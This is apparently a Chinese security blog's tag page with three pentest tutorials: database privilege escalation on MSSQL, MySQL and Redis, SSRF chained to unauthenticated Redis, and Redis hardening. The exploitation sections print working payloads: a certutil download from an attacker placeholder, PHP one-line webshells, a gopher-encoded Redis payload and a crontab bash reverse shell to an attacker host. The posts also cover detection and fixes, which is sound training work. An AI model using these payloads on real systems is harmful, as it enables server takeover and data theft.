Redis on SoulJian小站

内网渗透：数据库提权实战（MSSQL / MySQL / Redis）

Sat, 29 Aug 2026 16:30:00 +0800

写在前面：合法学习边界

数据库提权测试只允许在授权靶场或授权数据库进行。对真实数据库写入 shell、执行命令可能触犯法律。

一、漏洞原理

拿到数据库高权限后，利用数据库自身的“执行能力”突破到操作系统。

三种典型：

1
2
3


MSSQL：xp_cmdshell 扩展存储过程直接执行系统命令
MySQL：有 FILE 权限 → INTO OUTFILE 写 WebShell / UDF 提权
Redis：未授权 → CONFIG 写 crontab/SSH Key/WebShell

共同点：数据库服务以较高权限运行，且具备读写文件或执行命令的能力。

二、影响与危害

1
2
3


数据库服务器 Getshell
横向移动、数据全部泄露
权限提升到系统/root

风险等级：高到严重。

三、利用 / 复现

MSSQL：xp_cmdshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


-- 1. 开启高级选项与 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
-- 解释：xp_cmdshell 默认关闭，先开高级选项才能再开它
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- 2. 执行命令
EXEC xp_cmdshell 'whoami';
-- 解释：whoami 确认执行身份（MSSQL 常以 SYSTEM 运行）

-- 3. 提权/上线
EXEC xp_cmdshell 'certutil -urlcache -split -f http://攻击机/x.exe C:\x.exe';
-- 解释：用系统自带 certutil 下载文件，免额外工具

1
2
3
4
5
6


数据库提权操作步骤：
第 1 步：确认数据库版本/权限/账号
第 2 步：MSSQL 则开启 xp_cmdshell 执行命令
第 3 步：MySQL 有 FILE 权限则写 WebShell 或 UDF
第 4 步：Redis 未授权则写 crontab/SSH Key/WebShell
第 5 步：验证权限并继续内网渗透

常用连接方式：

1
2


impacket-mssqlclient sa:'Pass@123'@目标IP -windows-auth
sqlmap --os-shell # 探测到 SQL 注入时可直接拿 shell

注意：MSSQL 服务默认以 SYSTEM/高权限运行，whoami 往往直接是 nt authority\system。

MySQL：INTO OUTFILE 写 WebShell

1
2
3
4
5
6
7
8
9


-- 1. 确认 FILE 权限与 secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv'; -- 为空才能写任意目录
-- 解释：secure_file_priv 非空时禁止导出，需先确认
SELECT @@global.secure_file_priv;

-- 2. 写 WebShell（需要知道 web 路径）
SELECT '<?php system($_GET["c"]);?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 解释：把一句话写入 Web 目录，访问即执行

若 secure_file_priv 非空，则不能写，需换 UDF。

MySQL：UDF 提权

1
2
3


把 lib_mysqludf_sys.so 放进 plugin 目录
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
SELECT sys_eval('id');

前提：MySQL 有 FILE 权限 + plugin 目录可写。

Redis：写文件 Getshell

1
2
3
4
5


见《漏洞联动：SSRF 打内网 Redis 未授权 Getshell》
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

四、检测

1
2
3
4


数据库弱口令/未授权（sa 空口令、root 空口令、Redis 无密码）
MSSQL 日志中 xp_cmdshell 相关事件
Web 目录出现非业务文件（shell.php 等）
数据库执行了非业务 SQL（OUTFILE、CONFIG SET）

五、防御

1
2
3
4


数据库账号最小权限，禁止 sa/root 直接用于应用
关闭 xp_cmdshell、禁用危险函数
secure_file_priv 设为不可写目录
Redis 加认证、绑内网、禁危险命令

六、修复

1
2
3
4
5


重置数据库弱口令，收敛权限
关闭 xp_cmdshell、限制 OUTFILE/UDF
清理已写入的 WebShell/crontab/SSH Key
网络隔离数据库，不暴露公网
修复后复测：高危操作被拒

七、小结

数据库是内网提权的高价值目标：sa/root/空密码 + 执行能力 = 直接 GetShell。测试时先看数据库账号权限和配置，再决定走 xp_cmdshell、OUTFILE 还是 UDF。

漏洞联动：SSRF 打内网 Redis 未授权 Getshell

Sat, 29 Aug 2026 13:10:00 +0800

写在前面：合法学习边界

本联动利用只在自建靶场与授权内网进行。SSRF 打内网属于高风险行为，禁止对真实系统使用。

一、漏洞原理：为什么 SSRF 和 Redis 未授权能串联

单个漏洞单看：

1
2


SSRF：服务器能帮攻击者访问任意地址（包括内网）
Redis 未授权：6379 端口无认证，任何人都能执行命令

串联起来：

1
2
3
4


1. SSRF 让 Web 服务器访问内网 127.0.0.1:6379
2. Redis 未授权 → 执行任意命令
3. CONFIG SET dir/dbfilename 把 Redis 数据写进文件
4. 写入 crontab / WebShell / SSH Key → Getshell

关键点：SSRF 提供了“进入内网的路”，Redis 未授权提供了“执行入口”，两者缺一不可。

二、影响与危害

1
2
3


内网 Web 服务器被 Getshell
写入计划任务/SSH Key 实现持久控制
进一步横向移动整个内网

风险等级：SSRF + Redis 未授权 = 严重，几乎是打内网的经典突破口。

三、利用 / 复现

场景

靶场里有一个“URL 预览/图片代理”功能存在 SSRF；内网有一台 Redis 未授权监听 6379。

第一步：验证 SSRF 能访问内网

1
2
3


# 预览接口
http://127.0.0.1:6379
http://10.0.0.5:6379

如果响应异常/超时表现不同，说明能触达内网端口。

第二步：向 Redis 发送协议数据

利用 gopher 协议把 Redis 命令打进去（授权环境演示）：

1

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

再构造写文件命令：

1
2
3
4


CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['c']);?>"
SAVE

或用 crontab 反弹：

1
2
3
4


CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n* * * * * bash -i >& /dev/tcp/攻击机/4444 0>&1\n"
SAVE

用 Python 生成 gopher 编码后，拼进 SSRF 请求即可。

第三步：结果验证

1
2


访问 shell.php?c=id 返回命令结果
或攻击机 4444 端口收到反弹 Shell

四、检测

1
2
3
4


日志中 SSRF 请求目标是 6379、22、80 等内网端口
存在 gopher://、dict:// 等非常规协议
请求中出现 Redis 命令关键字（CONFIG、SAVE、FLUSHALL）
Web 目录出现非业务文件、crontab 异常

五、防御

1
2
3


SSRF 侧：URL 白名单、禁内网地址、禁重定向、禁非常规协议
Redis 侧：requirepass + ACL + bind 内网/本机
网络侧：Web 与 Redis 网络隔离，最小暴露

六、修复

1
2
3
4


修复 SSRF：白名单 + 禁内网段（127/10/172.16/192.168/169.254）+ 禁 gopher/dict
修复 Redis：设置强密码、绑定地址、禁用 CONFIG/危险命令
清理已写入的 crontab / WebShell / SSH Key，做取证
修复后复测：SSRF 无法触达 Redis，Redis 无密码不可访问

七、小结

SSRF + Redis 未授权是典型的“跨层漏洞链”：一个 Web 层的 SSRF，配上内网组件的未授权，直接变成服务器控制。看漏洞不能只看单点，要把“入口 + 跳板 + 目标”连成一条链来评估。

Redis 未授权访问原理与防御

Sat, 29 Aug 2026 07:25:00 +0800

写在前面：合法学习边界

本文只讲原理和防御。Redis 未授权访问属于高风险问题，未经授权读取、写入、修改、配置或控制 Redis 服务都可能造成安全事故。

一、为什么 Redis 容易出问题

Redis 常用于缓存、队列和会话存储。如果配置不当，可能直接暴露到公网，造成严重风险。

常见错误配置：

1
2
3
4


bind 0.0.0.0
无 requirepass
未启用 ACL
公网端口暴露

二、风险链路

如果 Redis 未授权且公网可访问，攻击者可能：

1
2
3
4
5


读取敏感缓存
写入恶意配置
写计划任务
写 SSH 公钥
篡改业务数据

因此 Redis 不应默认暴露在公网。

三、常见表现

1
2
3
4


6379/tcp open
Redis 服务无认证
CONFIG 命令可用
SET/GET 命令可访问

在授权测试中，可以验证：

1
2
3


是否存在认证要求
是否能读取敏感 key
是否能写文件

但只能在授权环境中进行。

影响与危害

Redis 未授权访问能造成：

1
2
3
4


数据泄露与篡改
写入 crontab/SSH key 实现服务器接管（配合写入）
内网横向
勒索/清空数据

风险等级：高到严重。

四、防御建议

1. 绑定内网地址

1

bind 127.0.0.1 或内网地址

2. 启用密码

1

requirepass

3. 使用 ACL

限制命令和 key 访问范围。

4. 网络隔离

不要把 Redis 直接暴露公网。

5. 开启审计日志

记录配置变更、敏感命令和异常访问。

6. 最小权限

应用只给需要的读写能力。

修复

1
2
3
4
5


开启 requirepass 设置强密码
bind 限制监听地址，禁止 0.0.0.0
禁用危险命令（CONFIG/SLAVEOF/DEBUG 等改名或禁用）
用防火墙/安全组限制 6379 暴露
修复后复测：无密码无法访问、危险命令被拒

验证操作步骤

1
2
3
4


第 1 步：端口扫描确认 6379 开放
第 2 步：redis-cli/nc 连接，执行 ping 或 CONFIG GET dir
第 3 步：无需认证即确认未授权
第 4 步：进一步验证写入能力（授权内）

五、报告中的正确写法

示例：

1
2
3


发现：6379/tcp 端口开放，Redis 服务未配置认证。
风险：可能导致敏感数据泄露、配置篡改、计划任务写入或服务器控制。
建议：限制监听地址；启用 requirepass；使用 ACL；隔离网络；补充审计日志。

六、小结

Redis 最大的问题通常不是软件本身，而是网络暴露和认证缺失。安全重点是“不要公网裸奔”。